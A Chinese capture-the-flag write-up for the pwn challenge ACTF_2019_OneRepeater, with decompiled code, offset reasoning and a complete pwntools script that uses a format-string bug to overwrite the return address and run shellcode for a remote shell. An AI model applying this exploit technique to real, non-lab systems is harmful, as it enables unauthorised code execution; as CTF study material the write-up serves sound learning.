深夜写题
int __cdecl main()
{
int v1; // [esp+Ch] [ebp-40Ch]
char buf; // [esp+10h] [ebp-408h]
sub_804864B();
while ( 1 )
{
while ( 1 )
{
puts("What you want to do?\n1) Input someing exciting to repeat!\n2) repeating!!!\n3) Exit");
__isoc99_scanf("%d", &v1);
getchar();
if ( v1 != 2 )
break;
Printf(&buf);
}
if ( v1 == 3 )
break;
if ( v1 == 1 )
vul(&buf, 0x400u);
else
printf("What do you mean by %d", v1);
}
puts("You're welcome~");
return 0;
}
看起来蛮简单的,格式化字符串漏洞,然后vul函数里面还泄露了buf的地址。(这个函数经过我改名字的)
安全全部关闭,
基本思路是,先看格式化字符串是第几个参数,然后覆盖返回地址为buf,并且在buf写入shellcode。
第16个参数是buf,然后buf是ebp+0x408所以ret的参数位置是(0x408+0x4)/4+16
也就是275个参数。
payload
payload = (buf+0x40c) + (buf+0x40e) + shellcode + padding + '%16$hn' + '17$hn'
这个还是一样的16,17的位置灵活考虑,然后返回地址不是buf而是buf+0x8的shellcode。
但是发现,太长了,忘记考虑长度了,所以分四次发payload一次改一个字节。
from pwn import *
context(log_level = 'debug',arch = 'i386',os = 'linux')
#sh = process("./ACTF_2019_OneRepeater")
sh = remote("node3.buuoj.cn","28112")
sh.sendlineafter("3) Exit\n","1")
stack_addr = int((sh.recv()[0:8]),base = 16)
print hex(stack_addr)
sh.sendline("break")
ret_addr = stack_addr + 0x418 + 4
payload = p32(ret_addr) + '%' + str(stack_addr % 65536 - 4) + 'c' + "%16$hn"
sh.sendlineafter("3) Exit\n","1")
sh.sendline(payload)
sh.sendlineafter("3) Exit\n","2")
payload = p32(ret_addr + 2) + '%' + str(stack_addr // 65536 - 4) + 'c' + "%16$hn"
sh.sendlineafter("3) Exit\n","1")
sh.sendline(payload)
sh.sendlineafter("3) Exit\n","2")
sh.sendlineafter("3) Exit\n","1")
sh.sendline(asm(shellcraft.sh()))
sh.sendlineafter("3) Exit\n","3")
sh.interactive()
这个exp也是chuj师傅写的,我直接搬过来了,和师傅相比我还是太菜了。。。格式化字符串可以重复利用的时候就不要太着急,可以分两次改,同时第三次写shellcode也没关系。。。我太着急了,想着一步到位,结果出错了。
还有有个问题遇到很久了,这里终于可以解决了
问题
这里的main函数结束语句好像有点不一样。
它为了输出一段字符串,将esp加了0x10,所以最后ret时的栈地址是泄露的stack_addr + 0x408 + 0x10 + 4,然后我们就可以写出payload了。
这也是看了师傅的WP才知道,之前自己随便写什么函数也遇到了类似的情况,但是不知道怎么解决,只能慢慢的去调试算偏移。这里的话,减去0x10就多了0x10的偏移,我觉得应该是var_4这个东西就是0x10但是也不知道为啥。调试的话,确实差了0x10。先记住吧以后覆盖main函数返回地址留个心眼。